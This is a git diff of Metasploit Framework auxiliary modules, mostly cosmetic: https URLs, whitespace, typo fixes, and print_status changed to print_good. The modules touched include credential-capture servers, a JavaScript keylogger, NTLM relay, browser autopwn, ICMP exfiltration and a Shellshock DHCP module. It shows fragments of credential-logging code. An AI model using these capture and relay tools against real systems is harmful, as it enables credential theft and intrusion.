 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 require 'rex/proto/ntlm/message'
 
-
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::WinRM
   include Msf::Auxiliary::Report
 
@@ -56,9 +53,8 @@ class MetasploitModule < Msf::Auxiliary
     resp_tbl = parse_wql_response(resp)
     print_good resp_tbl.to_s
     path = store_loot("winrm.wql_results", "text/csv", ip, resp_tbl.to_csv, "winrm_wql_results.csv", "WinRM WQL Query Results")
-    print_status "Results saved to #{path}"
+    print_good "Results saved to #{path}"
   end
-
 end
 
 =begin
diff --git a/modules/auxiliary/scanner/x11/open_x11.rb b/modules/auxiliary/scanner/x11/open_x11.rb
index c945613a74..67db1cbb26 100644
--- a/modules/auxiliary/scanner/x11/open_x11.rb
+++ b/modules/auxiliary/scanner/x11/open_x11.rb
@@ -1,11 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Tcp
   include Msf::Auxiliary::Scanner
   include Msf::Auxiliary::Report
@@ -75,5 +73,4 @@ class MetasploitModule < Msf::Auxiliary
     end
 
   end
-
 end
diff --git a/modules/auxiliary/server/android_browsable_msf_launch.rb b/modules/auxiliary/server/android_browsable_msf_launch.rb
index a06ec39983..e83497dc8e 100644
--- a/modules/auxiliary/server/android_browsable_msf_launch.rb
+++ b/modules/auxiliary/server/android_browsable_msf_launch.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpServer
 
   def initialize(info={})
@@ -50,5 +49,4 @@ location.href = "intent://my_host#Intent;scheme=metasploit;action=android.intent
     print_status("Sending HTML...")
     send_response(cli, html)
   end
-
 end
diff --git a/modules/auxiliary/server/android_mercury_parseuri.rb b/modules/auxiliary/server/android_mercury_parseuri.rb
index 79c53a4091..73199ad70f 100644
--- a/modules/auxiliary/server/android_mercury_parseuri.rb
+++ b/modules/auxiliary/server/android_mercury_parseuri.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpServer::HTML
   include Msf::Auxiliary::Report
 
@@ -151,5 +150,4 @@ class MetasploitModule < Msf::Auxiliary
   def run
     exploit
   end
-
 end
diff --git a/modules/auxiliary/server/browser_autopwn.rb b/modules/auxiliary/server/browser_autopwn.rb
index 30b9d24aa7..675335b11a 100644
--- a/modules/auxiliary/server/browser_autopwn.rb
+++ b/modules/auxiliary/server/browser_autopwn.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -12,7 +12,6 @@ require 'rex/exploitation/js/detect'
 require 'rex/exploitation/jsobfu'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpServer::HTML
 
   def initialize(info = {})
@@ -1073,5 +1072,4 @@ class MetasploitModule < Msf::Auxiliary
     end
     super
   end
-
 end
diff --git a/modules/auxiliary/server/browser_autopwn2.rb b/modules/auxiliary/server/browser_autopwn2.rb
index acac8b69b2..fc0a043bbe 100644
--- a/modules/auxiliary/server/browser_autopwn2.rb
+++ b/modules/auxiliary/server/browser_autopwn2.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::BrowserAutopwn2
 
   def initialize(info={})
@@ -18,7 +17,7 @@ class MetasploitModule < Msf::Auxiliary
         if you wish to load just Adobe Flash exploits, then you can set Include to 'adobe_flash'.
 
         The EXCLUDE_PATTERN option will ignore exploits. For example, if you don't want any Adobe Flash
-        exploits, you can set this. Also note that the Exclude option will always be evaludated
+        exploits, you can set this. Also note that the Exclude option will always be evaluated
         after the Include option.
 
         The MaxExploitCount option specifies the max number of exploits to load by Browser Autopwn.
@@ -99,5 +98,4 @@ class MetasploitModule < Msf::Auxiliary
   def run
     exploit
   end
-
 end
diff --git a/modules/auxiliary/server/capture/drda.rb b/modules/auxiliary/server/capture/drda.rb
index 9e44fc5338..828bac9336 100644
--- a/modules/auxiliary/server/capture/drda.rb
+++ b/modules/auxiliary/server/capture/drda.rb
@@ -1,12 +1,11 @@
 # -*- coding: binary -*-
 
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::TcpServer
   include Msf::Auxiliary::Report
 
@@ -213,7 +212,7 @@ class MetasploitModule < Msf::Auxiliary
     end
 
     if @state[c][:user] and @state[c][:pass]
-      print_status("DRDA LOGIN #{@state[c][:name]} Database: #{@state[c][:database]}; #{@state[c][:user]} / #{@state[c][:pass]}")
+      print_good("DRDA LOGIN #{@state[c][:name]} Database: #{@state[c][:database]}; #{@state[c][:user]} / #{@state[c][:pass]}")
       report_cred(
         ip: @state[c][:ip],
         port: datastore['SRVPORT'],
diff --git a/modules/auxiliary/server/capture/ftp.rb b/modules/auxiliary/server/capture/ftp.rb
index 4f15e9c757..5e0aa345b1 100644
--- a/modules/auxiliary/server/capture/ftp.rb
+++ b/modules/auxiliary/server/capture/ftp.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::TcpServer
   include Msf::Auxiliary::Report
 
@@ -104,7 +103,7 @@ class MetasploitModule < Msf::Auxiliary
         proof: arg
       )
 
-      print_status("FTP LOGIN #{@state[c][:name]} #{@state[c][:user]} / #{@state[c][:pass]}")
+      print_good("FTP LOGIN #{@state[c][:name]} #{@state[c][:user]} / #{@state[c][:pass]}")
     end
 
     @state[c][:pass] = data.strip
diff --git a/modules/auxiliary/server/capture/http.rb b/modules/auxiliary/server/capture/http.rb
index 2aaf403cd8..f48e947b68 100644
--- a/modules/auxiliary/server/capture/http.rb
+++ b/modules/auxiliary/server/capture/http.rb
@@ -1,12 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::TcpServer
   include Msf::Auxiliary::Report
 
@@ -227,7 +224,7 @@ class MetasploitModule < Msf::Auxiliary
         :data     => req.resource.to_s,
         :update => :unique_data
       )
-      print_status("HTTP LOGIN #{cli.peerhost} > #{hhead}:#{@myport} #{user} / #{pass} => #{req.resource}")
+      print_good("HTTP LOGIN #{cli.peerhost} > #{hhead}:#{@myport} #{user} / #{pass} => #{req.resource}")
     end
 
 
@@ -491,5 +488,4 @@ class MetasploitModule < Msf::Auxiliary
 |
 
   end
-
 end
diff --git a/modules/auxiliary/server/capture/http_basic.rb b/modules/auxiliary/server/capture/http_basic.rb
index f5fc61d2ef..df29c9df76 100644
--- a/modules/auxiliary/server/capture/http_basic.rb
+++ b/modules/auxiliary/server/capture/http_basic.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpServer::HTML
   include Msf::Auxiliary::Report
 
@@ -110,5 +109,4 @@ class MetasploitModule < Msf::Auxiliary
       cli.send_response(response)
     end
   end
-
 end
diff --git a/modules/auxiliary/server/capture/http_javascript_keylogger.rb b/modules/auxiliary/server/capture/http_javascript_keylogger.rb
index 31ee242c02..68f26f5854 100644
--- a/modules/auxiliary/server/capture/http_javascript_keylogger.rb
+++ b/modules/auxiliary/server/capture/http_javascript_keylogger.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpServer::HTML
 
   def initialize(info = {})
@@ -300,5 +299,4 @@ EOS
 EOS
     return code
   end
-
 end
diff --git a/modules/auxiliary/server/capture/http_ntlm.rb b/modules/auxiliary/server/capture/http_ntlm.rb
index 4b58e9e999..dd37c8a5a5 100644
--- a/modules/auxiliary/server/capture/http_ntlm.rb
+++ b/modules/auxiliary/server/capture/http_ntlm.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -12,7 +12,6 @@ NTLM_CRYPT = Rex::Proto::NTLM::Crypt
 MESSAGE = Rex::Proto::NTLM::Message
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpServer::HTML
   include Msf::Auxiliary::Report
 
diff --git a/modules/auxiliary/server/capture/imap.rb b/modules/auxiliary/server/capture/imap.rb
index e5a2e46018..25c642a257 100644
--- a/modules/auxiliary/server/capture/imap.rb
+++ b/modules/auxiliary/server/capture/imap.rb
@@ -1,11 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::TcpServer
   include Msf::Auxiliary::Report
 
diff --git a/modules/auxiliary/server/capture/mssql.rb b/modules/auxiliary/server/capture/mssql.rb
index e014f1d127..5016fbb179 100644
--- a/modules/auxiliary/server/capture/mssql.rb
+++ b/modules/auxiliary/server/capture/mssql.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -12,7 +12,6 @@ NTLM_CRYPT = Rex::Proto::NTLM::Crypt
 MESSAGE = Rex::Proto::NTLM::Message
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::TcpServer
   include Msf::Exploit::Remote::SMB::Server
   include Msf::Auxiliary::Report
diff --git a/modules/auxiliary/server/capture/mysql.rb b/modules/auxiliary/server/capture/mysql.rb
index 19257a58c1..fa99490642 100644
--- a/modules/auxiliary/server/capture/mysql.rb
+++ b/modules/auxiliary/server/capture/mysql.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::TcpServer
   include Msf::Auxiliary::Report
 
@@ -163,9 +162,9 @@ class MetasploitModule < Msf::Auxiliary
     elsif info[:username] and info[:response]
       mysql_send_error(c, "Access denied for user '#{info[:username]}'@'#{c.peerhost}' (using password: YES)")
       if info[:database]
-        print_status("#{@state[c][:name]} - User: #{info[:username]}; Challenge: #{@challenge.unpack('H*')[0]}; Response: #{info[:response].unpack('H*')[0]}; Database: #{info[:database]}")
+        print_good("#{@state[c][:name]} - User: #{info[:username]}; Challenge: #{@challenge.unpack('H*')[0]}; Response: #{info[:response].unpack('H*')[0]}; Database: #{info[:database]}")
       else
-        print_status("#{@state[c][:name]} - User: #{info[:username]}; Challenge: #{@challenge.unpack('H*')[0]}; Response: #{info[:response].unpack('H*')[0]}")
+        print_good("#{@state[c][:name]} - User: #{info[:username]}; Challenge: #{@challenge.unpack('H*')[0]}; Response: #{info[:response].unpack('H*')[0]}")
       end
       hash_line = "#{info[:username]}:$mysql$#{@challenge.unpack("H*")[0]}$#{info[:response].unpack('H*')[0]}"
 
diff --git a/modules/auxiliary/server/capture/pop3.rb b/modules/auxiliary/server/capture/pop3.rb
index 7837599173..bcc6a9022d 100644
--- a/modules/auxiliary/server/capture/pop3.rb
+++ b/modules/auxiliary/server/capture/pop3.rb
@@ -1,12 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::TcpServer
   include Msf::Auxiliary::Report
 
@@ -103,7 +100,7 @@ class MetasploitModule < Msf::Auxiliary
         password: @state[c][:pass],
         proof: arg
       )
-      print_status("POP3 LOGIN #{@state[c][:name]} #{@state[c][:user]} / #{@state[c][:pass]}")
+      print_good("POP3 LOGIN #{@state[c][:name]} #{@state[c][:user]} / #{@state[c][:pass]}")
       @state[c][:pass] = data.strip
       c.put "+OK\r\n"
       return
diff --git a/modules/auxiliary/server/capture/postgresql.rb b/modules/auxiliary/server/capture/postgresql.rb
index 0825867692..7eceeadd30 100644
--- a/modules/auxiliary/server/capture/postgresql.rb
+++ b/modules/auxiliary/server/capture/postgresql.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::TcpServer
   include Msf::Auxiliary::Report
 
@@ -106,7 +105,7 @@ class MetasploitModule < Msf::Auxiliary
         password: @state[c][:password],
         proof: @state[c][:database]
       )
-      print_status("PostgreSQL LOGIN #{@state[c][:name]} #{@state[c][:username]} / #{@state[c][:password]} / #{@state[c][:database]}")
+      print_good("PostgreSQL LOGIN #{@state[c][:name]} #{@state[c][:username]} / #{@state[c][:password]} / #{@state[c][:database]}")
       # send failure message
       sdata = [ 0x45, 97 - 8 + @state[c][:username].length].pack("CN")
       sdata << "SFATAL"
diff --git a/modules/auxiliary/server/capture/printjob_capture.rb b/modules/auxiliary/server/capture/printjob_capture.rb
index 2ee060f99f..ec2a3ddf30 100644
--- a/modules/auxiliary/server/capture/printjob_capture.rb
+++ b/modules/auxiliary/server/capture/printjob_capture.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::TcpServer
   include Msf::Exploit::Remote::Tcp
   include Msf::Auxiliary::Report
@@ -271,5 +270,4 @@ class MetasploitModule < Msf::Auxiliary
       print_good("Loot filename: %s" % loot)
     end
   end
-
 end
diff --git a/modules/auxiliary/server/capture/sip.rb b/modules/auxiliary/server/capture/sip.rb
index 1d68f9de3e..f592760cf0 100644
--- a/modules/auxiliary/server/capture/sip.rb
+++ b/modules/auxiliary/server/capture/sip.rb
@@ -1,12 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'rex/socket'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Auxiliary::Report
 
   def initialize
@@ -164,7 +163,7 @@ class MetasploitModule < Msf::Auxiliary
             algorithm= ( auth_tokens['algorithm'] ? auth_tokens['algorithm'] : "MD5" )
             username = auth_tokens['username']
             proof = "client: #{client_ip}; username: #{username}; nonce: #{datastore['NONCE']}; response: #{response}; algorithm: #{algorithm}"
-            print_status("SIP LOGIN: #{proof}")
+            print_good("SIP LOGIN: #{proof}")
 
             report_cred(
               ip: @requestor[:ip],
diff --git a/modules/auxiliary/server/capture/smb.rb b/modules/auxiliary/server/capture/smb.rb
index 0f3fcd22d5..5b255b9688 100644
--- a/modules/auxiliary/server/capture/smb.rb
+++ b/modules/auxiliary/server/capture/smb.rb
@@ -1,12 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Auxiliary::Report
   include Msf::Exploit::Remote::SMB::Server
 
@@ -650,5 +647,4 @@ class MetasploitModule < Msf::Auxiliary
     end
 
   end
-
 end
diff --git a/modules/auxiliary/server/capture/smtp.rb b/modules/auxiliary/server/capture/smtp.rb
index b6241dff0c..aca431f8fb 100644
--- a/modules/auxiliary/server/capture/smtp.rb
+++ b/modules/auxiliary/server/capture/smtp.rb
@@ -1,12 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::TcpServer
   include Msf::Auxiliary::Report
 
@@ -124,7 +121,7 @@ class MetasploitModule < Msf::Auxiliary
         password: @state[c][:pass],
         proof: arg
       )
-      print_status("SMTP LOGIN #{@state[c][:name]} #{@state[c][:user]} / #{@state[c][:pass]}")
+      print_good("SMTP LOGIN #{@state[c][:name]} #{@state[c][:user]} / #{@state[c][:pass]}")
     end
 
     c.put "503 Server Error\r\n"
diff --git a/modules/auxiliary/server/capture/telnet.rb b/modules/auxiliary/server/capture/telnet.rb
index 4d67a1bef0..7cf5671d23 100644
--- a/modules/auxiliary/server/capture/telnet.rb
+++ b/modules/auxiliary/server/capture/telnet.rb
@@ -1,11 +1,10 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 # Fake Telnet Service - Kris Katterjohn 09/28/2008
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::TcpServer
   include Msf::Auxiliary::Report
 
@@ -123,7 +122,7 @@ class MetasploitModule < Msf::Auxiliary
       c.put "\x00\r\n"
     end
 
-    print_status("TELNET LOGIN #{@state[c][:name]} #{@state[c][:user]} / #{@state[c][:pass]}")
+    print_good("TELNET LOGIN #{@state[c][:name]} #{@state[c][:user]} / #{@state[c][:pass]}")
     c.put "\r\nLogin failed\r\n\r\n"
     report_cred(
       ip: @state[c][:ip],
diff --git a/modules/auxiliary/server/capture/vnc.rb b/modules/auxiliary/server/capture/vnc.rb
index 1b9240abaa..e519f007a9 100644
--- a/modules/auxiliary/server/capture/vnc.rb
+++ b/modules/auxiliary/server/capture/vnc.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::TcpServer
   include Msf::Auxiliary::Report
 
@@ -113,7 +112,7 @@ class MetasploitModule < Msf::Auxiliary
     elsif @state[c][:chall]
       c.put [0x00000001].pack("N")
       c.close
-      print_status("#{peer} - Challenge: #{@challenge.unpack('H*')[0]}; Response: #{data.unpack('H*')[0]}")
+      print_good("#{peer} - Challenge: #{@challenge.unpack('H*')[0]}; Response: #{data.unpack('H*')[0]}")
       hash_line = "$vnc$*#{@state[c][:chall].unpack("H*")[0]}*#{data.unpack('H*')[0]}"
       report_cred(
         ip: c.peerhost,
diff --git a/modules/auxiliary/server/dhclient_bash_env.rb b/modules/auxiliary/server/dhclient_bash_env.rb
index 664b3cb49c..a784a7afbb 100644
--- a/modules/auxiliary/server/dhclient_bash_env.rb
+++ b/modules/auxiliary/server/dhclient_bash_env.rb
@@ -1,12 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'rex/proto/dhcp'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::DHCPServer
 
   def initialize
@@ -36,13 +35,14 @@ class MetasploitModule < Msf::Auxiliary
         ],
       'DefaultAction'  => 'Service',
       'References' => [
-        ['CVE', '2014-6271'],
-        ['CWE', '94'],
-        ['OSVDB', '112004'],
-        ['EDB', '34765'],
-        ['URL', 'https://securityblog.redhat.com/2014/09/24/bash-specially-crafted-environment-variables-code-injection-attack/'],
-        ['URL', 'http://seclists.org/oss-sec/2014/q3/649'],
-        ['URL', 'https://www.trustedsec.com/september-2014/shellshock-dhcp-rce-proof-concept/']
+        [ 'AKA', 'Shellshock' ],
+        [ 'CVE', '2014-6271' ],
+        [ 'CWE', '94' ],
+        [ 'OSVDB', '112004' ],
+        [ 'EDB', '34765' ],
+        [ 'URL', 'https://securityblog.redhat.com/2014/09/24/bash-specially-crafted-environment-variables-code-injection-attack/' ],
+        [ 'URL', 'http://seclists.org/oss-sec/2014/q3/649' ],
+        [ 'URL', 'https://www.trustedsec.com/september-2014/shellshock-dhcp-rce-proof-concept/' ]
       ],
       'DisclosureDate' => 'Sep 24 2014'
     )
@@ -81,5 +81,4 @@ class MetasploitModule < Msf::Auxiliary
       end
     end
   end
-
 end
diff --git a/modules/auxiliary/server/dhcp.rb b/modules/auxiliary/server/dhcp.rb
index a6a0478039..a270102e72 100644
--- a/modules/auxiliary/server/dhcp.rb
+++ b/modules/auxiliary/server/dhcp.rb
@@ -1,12 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'rex/proto/dhcp'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::DHCPServer
   include Msf::Auxiliary::Report
 
@@ -46,5 +45,4 @@ class MetasploitModule < Msf::Auxiliary
     print_status("Stopping DHCP server...")
     @dhcp.stop
   end
-
 end
diff --git a/modules/auxiliary/server/dns/spoofhelper.rb b/modules/auxiliary/server/dns/spoofhelper.rb
index 84d7c6c517..d2c4d8c2c0 100644
--- a/modules/auxiliary/server/dns/spoofhelper.rb
+++ b/modules/auxiliary/server/dns/spoofhelper.rb
@@ -1,14 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 require 'resolv'
 
-
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Auxiliary::Report
 
 
@@ -101,5 +98,4 @@ class MetasploitModule < Msf::Auxiliary
       @sock.close
     end
   end
-
 end
diff --git a/modules/auxiliary/server/fakedns.rb b/modules/auxiliary/server/fakedns.rb
index e8ed2ba89b..c675a7f4f4 100644
--- a/modules/auxiliary/server/fakedns.rb
+++ b/modules/auxiliary/server/fakedns.rb
@@ -1,14 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 require 'resolv'
 
-
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Auxiliary::Report
 
 
@@ -279,5 +276,4 @@ class MetasploitModule < Msf::Auxiliary
   def print_status(msg)
     @requestor ? super("%s:%p - DNS - %s" % [@requestor[3], @requestor[1], msg]) : super(msg)
   end
-
 end
diff --git a/modules/auxiliary/server/ftp.rb b/modules/auxiliary/server/ftp.rb
index 888e3b14fb..ca74717c3a 100644
--- a/modules/auxiliary/server/ftp.rb
+++ b/modules/auxiliary/server/ftp.rb
@@ -1,12 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::FtpServer
   include Msf::Auxiliary::Report
 
diff --git a/modules/auxiliary/server/http_ntlmrelay.rb b/modules/auxiliary/server/http_ntlmrelay.rb
index e260e5e0d5..745d105eb1 100644
--- a/modules/auxiliary/server/http_ntlmrelay.rb
+++ b/modules/auxiliary/server/http_ntlmrelay.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -14,7 +14,6 @@ NTLM_CRYPT = Rex::Proto::NTLM::Crypt
 MESSAGE = Rex::Proto::NTLM::Message
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Exploit::Remote::HttpServer::HTML
   include Msf::Auxiliary::Report
@@ -306,7 +305,7 @@ class MetasploitModule < Msf::Auxiliary
       if resp.code == 401
         print_error("Auth not successful, returned a 401")
       else
-        print_status("Auth successful, saving server response in database")
+        print_good("Auth successful, saving server response in database")
       end
       vprint_status(resp.to_s)
     end
@@ -639,7 +638,7 @@ class MetasploitModule < Msf::Auxiliary
     elsif nt_len == 0
       print_status("Empty hash from #{host} captured, ignoring ... ")
     else
-      print_status("Unknow hash type from #{host}, ignoring ...")
+      print_status("Unknown hash type from #{host}, ignoring ...")
     end
 
     arg[:host] = host
diff --git a/modules/auxiliary/server/icmp_exfil.rb b/modules/auxiliary/server/icmp_exfil.rb
index 00fb7cd949..f51b978acc 100644
--- a/modules/auxiliary/server/icmp_exfil.rb
+++ b/modules/auxiliary/server/icmp_exfil.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Capture
   include Msf::Auxiliary::Report
 
@@ -17,7 +16,7 @@ class MetasploitModule < Msf::Auxiliary
 
         To use this module you will need to send an initial ICMP echo request containing the
         specific start trigger (defaults to '^BOF') this can be followed by the filename being sent (or
-        a random filename can be assisnged). All data received from this source will automatically
+        a random filename can be assigned). All data received from this source will automatically
         be added to the receive buffer until an ICMP echo request containing a specific end trigger
         (defaults to '^EOL') is received.
 
diff --git a/modules/auxiliary/server/jsse_skiptls_mitm_proxy.rb b/modules/auxiliary/server/jsse_skiptls_mitm_proxy.rb
index 2633a4c64f..01ea9deaca 100644
--- a/modules/auxiliary/server/jsse_skiptls_mitm_proxy.rb
+++ b/modules/auxiliary/server/jsse_skiptls_mitm_proxy.rb
@@ -1,12 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'openssl'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Auxiliary::Report
 
   def initialize
@@ -268,5 +267,4 @@ class MetasploitModule < Msf::Auxiliary
       end
     end
   end
-
 end
diff --git a/modules/auxiliary/server/local_hwbridge.rb b/modules/auxiliary/server/local_hwbridge.rb
index 966995cb11..ce12bfef1b 100644
--- a/modules/auxiliary/server/local_hwbridge.rb
+++ b/modules/auxiliary/server/local_hwbridge.rb
@@ -1,6 +1,6 @@
 ##
 #
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 #
 # TODO: SSL Support, Authentication, Listen to localhost only by default
@@ -8,11 +8,10 @@
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpServer::HTML
   include Msf::Auxiliary::Report
 
-  HWBRIDGE_API_VERSION = "0.0.1"
+  HWBRIDGE_API_VERSION = "0.0.4"
 
   def initialize(info = {})
     super(update_info(info,
@@ -171,13 +170,24 @@ class MetasploitModule < Msf::Auxiliary
   # srcid = hex id of the sent packet
   # dstid = hex id of the return packets
   # data = string of hex bytes to send
-  # timeout = optional int to timeout on lack of response
-  # maxpkts = max number of packets to recieve
-  def isotp_send_and_wait(bus, srcid, dstid, data, timeout = 2000, maxpkts = 3)
+  # OPT = Options
+  #    timeout = optional int to timeout on lack of response
+  #    maxpkts = max number of packets to recieve
+  #    padding = append bytes to end of packet (Doesn't increase reported ISO-TP size)
+  #    fc = flow control, if true forces flow control packets
+  def isotp_send_and_wait(bus, srcid, dstid, data, opt = {})
     result = {}
     result["Success"] = false
     srcid = srcid.to_i(16).to_s(16)
     dstid = dstid.to_i(16).to_s(16)
+    timeout = 2000
+    maxpkts = 3
+    flowcontrol = nil
+    padding = nil
+    timeout = opt['TIMEOUT'] if opt.key? 'TIMEOUT'
+    maxpkts = opt['MAXPKTS'] if opt.key? 'MAXPKTS'
+    padding = opt['PADDING'] if opt.key? 'PADDING'
+    flowcontrol = opt['FC'] if opt.key? 'FC'
     bytes = data.scan(/../)
     if bytes.size > 8
       print_error("Data section currently has to be less than 8 bytes")
@@ -186,6 +196,10 @@ class MetasploitModule < Msf::Auxiliary
       sz = "%02x" % bytes.size
       bytes = sz + bytes.join
     end
+    if padding && bytes.size < 16 # 16 == 8 bytes because of ascii size
+      padding = "%02x" % padding.to_i
+      bytes += ([ padding ] * (16 - bytes.size)).join
+    end
     # Should we ever require isotpsend for this?
     `which cansend`
     unless $?.success?
@@ -194,15 +208,43 @@ class MetasploitModule < Msf::Auxiliary
     end
     @can_interfaces.each do |can|
       if can == bus
